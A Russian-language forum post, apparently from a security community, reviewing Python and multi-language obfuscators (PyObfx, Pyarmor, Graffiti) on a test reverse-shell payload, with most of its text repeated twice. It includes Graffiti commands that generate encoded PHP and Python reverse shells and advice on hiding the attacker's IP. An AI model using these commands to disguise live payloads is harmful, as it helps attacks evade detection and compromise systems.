Приветствую Уважаемых жителей Codeby.
Обзор будет посвящён некоторым новинкам из софта,задачей которого является обфускация кода
Прежде чем тестировать,сгенерируем payload для теста.
Код его выглядит так.
Больше всего времени было отнято инструментом PyObfx.
Создан он одноимённой командой.
Предназначен он для обфускации небольших скриптов на python.
Честно,с ним потерпел полное фиаско.
Инструмент не справляется с файлами с объёмным кодом.
Не смог он ничего сделать и с тестовым payload по причине того,что в последнем уже применена кодировка base64.
Пришлось воспользоваться тестовым простеньким скриптом из его же директории test
Видим код и его выполнение.
А это уже с обфускацией, но функция сжатия не сработала (заявлено,что работает c gz,bz2 и lzma)
Но ,тем не менее,выполняется.
Выводы пока делать рано,проект молодой и скорее всего,его развитие продолжится.
Если будете пробовать использовать данный инструмент,подбирайте для этого небольшие payload без кодировки.
Установка:
В директории logs будут скапливаться логи,которые надо периодически чистить,или использовать опцию --no-log
Но я бы воздержался пока от использования этого инструмента.
Следующий обфускатор действительно порадовал.Это Pyarmor.
Настоящий комбайн для таких задач.
Написан этот мощный софт китайским специалистом Jondy Zhao при поддержке проекта Dashingsoft.
Не смотря на иллюзорную простоту,инструмент сложный и имеет свою документацию
Он совмещён при работе с такими инструментами,как pyinstaller,py2exe,cx_Freeze
Предусмотрено получение лицензии,обновление и много прочих полезностей.
Есть возможность использовать webui
Демонстрационная версия находится
Установка:
Поддерживаемые платформы:
Python 2.5, 2.6, 2.7 and Python3
Prebuilt Platform: win32, win_amd64, linux_i386, linux_x86_64, macosx_x86_64
Embedded Platform: Raspberry Pi, Banana Pi, Orange Pi, TS-4600 / TS-7600
После обфускации,Pyarmor генерирует директорию dist,в которой будет обработанный файл.
Сам файл принял такой вид
И конечно без проблем была получена сессия.
На скрине одна сессия получена от необработанного ещё payload vert.py и 2 сессии после обработки.
В завершении желаю вам также представить инструмент,созданный Ekultek.
Graffiti предназначен для работы с объектами json
Пришлось ещё подыскать более менее подходящий фон для скрина основного меню.
Т.к. шапка немного неудачна и не видна на тёмном фоне.
Но дело не в красоте всё-таки.
Инструмент работает с файлами Python,Perl,Batch,Powershell,PHP,Bash
И применяет кодировки ROT13,Raw,Hex,Base64,Xor.
Командой list можно видеть payload,c которыми инструмент устанавливается изначально.
Он позволяет добавлять свои javascript.
Установка:
Примеры запуска:
Также уместно использовать IP-обфускаторы для сокрытия IP-адресов атакующей машины в url
Такие обфускаторы более менее известны и рассматривать их не стану.
Например,как этот
А на этом у меня пока всё,благодарю за внимание и до новых встреч.
Обзор будет посвящён некоторым новинкам из софта,задачей которого является обфускация кода
Прежде чем тестировать,сгенерируем payload для теста.

Код его выглядит так.

Больше всего времени было отнято инструментом PyObfx.
Создан он одноимённой командой.
Предназначен он для обфускации небольших скриптов на python.
Честно,с ним потерпел полное фиаско.

Инструмент не справляется с файлами с объёмным кодом.
Не смог он ничего сделать и с тестовым payload по причине того,что в последнем уже применена кодировка base64.

Пришлось воспользоваться тестовым простеньким скриптом из его же директории test
Видим код и его выполнение.

А это уже с обфускацией, но функция сжатия не сработала (заявлено,что работает c gz,bz2 и lzma)
Но ,тем не менее,выполняется.

Выводы пока делать рано,проект молодой и скорее всего,его развитие продолжится.
Если будете пробовать использовать данный инструмент,подбирайте для этого небольшие payload без кодировки.
Установка:
Код:
# git clone https://github.com/PyObfx/PyObfx.git
# cd PyObfx
# pip install -r requirements.txt
# chmod +x PyObfx.py
# python3 PyObfx.py -h
Но я бы воздержался пока от использования этого инструмента.
Следующий обфускатор действительно порадовал.Это Pyarmor.
Настоящий комбайн для таких задач.

Написан этот мощный софт китайским специалистом Jondy Zhao при поддержке проекта Dashingsoft.
Не смотря на иллюзорную простоту,инструмент сложный и имеет свою документацию
Ссылка скрыта от гостей
Он совмещён при работе с такими инструментами,как pyinstaller,py2exe,cx_Freeze
Предусмотрено получение лицензии,обновление и много прочих полезностей.
Есть возможность использовать webui
Демонстрационная версия находится
Ссылка скрыта от гостей
Установка:
Код:
# git clone https://github.com/dashingsoft/pyarmor.git
А ещё лучше так:
# pip install pyarmor
# pyarmor obfuscate payload_file - самая простая команда для обфускации.
Python 2.5, 2.6, 2.7 and Python3
Prebuilt Platform: win32, win_amd64, linux_i386, linux_x86_64, macosx_x86_64
Embedded Platform: Raspberry Pi, Banana Pi, Orange Pi, TS-4600 / TS-7600
После обфускации,Pyarmor генерирует директорию dist,в которой будет обработанный файл.
Сам файл принял такой вид

И конечно без проблем была получена сессия.
На скрине одна сессия получена от необработанного ещё payload vert.py и 2 сессии после обработки.

В завершении желаю вам также представить инструмент,созданный Ekultek.
Graffiti предназначен для работы с объектами json
Пришлось ещё подыскать более менее подходящий фон для скрина основного меню.
Т.к. шапка немного неудачна и не видна на тёмном фоне.

Но дело не в красоте всё-таки.
Инструмент работает с файлами Python,Perl,Batch,Powershell,PHP,Bash
И применяет кодировки ROT13,Raw,Hex,Base64,Xor.
Командой list можно видеть payload,c которыми инструмент устанавливается изначально.
Он позволяет добавлять свои javascript.

Установка:
Код:
# git clone https://github.com/Ekultek/Graffiti.git
# chmod +x graffiti.py
# python graffiti.py - команда запуска
Инструмент запускается без установки внешних пакетов
Команду ./install.sh выполнить только в случае неудачного основного запуска.
К слову,у меня она вообще не выполнилась.
Код:
graffiti# python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1 -lP 9065
graffiti# use /linux/python/socket_reverse.json hex

Также уместно использовать IP-обфускаторы для сокрытия IP-адресов атакующей машины в url
Такие обфускаторы более менее известны и рассматривать их не стану.
Например,как этот
А на этом у меня пока всё,благодарю за внимание и до новых встреч.